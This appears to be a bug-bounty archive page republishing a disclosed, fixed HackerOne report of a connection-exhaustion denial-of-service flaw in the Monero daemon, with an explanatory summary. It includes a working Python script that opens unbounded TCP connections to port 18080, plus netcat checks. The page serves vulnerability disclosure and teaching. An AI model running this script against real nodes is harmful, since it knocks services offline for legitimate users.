Skip to content
DoS Disclosed report Beginner

Excessive Resource Usage

The Monero daemon opens a file descriptor for each incoming connection and never closes connections from clients that send no data, so an attacker can exhaust file descriptors and memory. This causes the service to hang and become unavailable.

talko Follow

Originally disclosed on HackerOne

  • Triaged in 14 hours
  • Fixed in 2 months
  • Disclosed after 2 months

Summary:

Unbounded resource usage due to open one file descriptor per connection, Python script below is effectively a threadbomb on the destination and uses all available memory on the server, clients not sending anything are never terminated.

Steps To Reproduce:

Up our daemon

% monerod

Check if peer accepting connection

% nc -vz 127.0.0.1 18080
Connection to 127.0.0.1 18080 port [tcp/*] succeeded!

Create python script ex: resus.py

Python
import resource
import socket
import time

resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))

conn = []

while True:
    try:
        conn.append(socket.create_connection(("127.0.0.1", 18080)))
    except BaseException as err:
        print(err)
        break

print(len(conn))

while True:
    time.sleep(1)

run the script as ROOT(required for setting RLIMIT)

% sudo python resus.py

wait up 2 to minutes then run netcat again to check if our socket request bomb deny the service

% nc -vz 127.0.0.1 18080

now it's completely hang, during waiting you can run command lsof -i tcp to see lot of Monero connections

Impact

Denial of Service(Allocation of Resources Without Limits or Throttling)

The original report as published on HackerOne, by talko. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the daemon does not enforce a limit on the number of open connections and does not time out idle connections.

Impact

The service becomes completely unresponsive, denying service to legitimate users.

What the attacker needed

Network access to the daemon's peer port

How it was found

  1. Start the Monero daemon.
  2. Verify that the daemon accepts connections on its peer port.
  3. Run a script that opens many connections to the daemon.
  4. Wait a couple of minutes.
  5. Try to connect again and observe that the service is unresponsive.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A server has a limited number of connections it can handle at once. This report shows that the Monero daemon keeps every connection open forever, even if the client never sends anything, so an attacker can open many connections and use up all the server's resources, making it stop responding.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by talko

View all

2 more disclosed reports, best first.

More from Monero

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.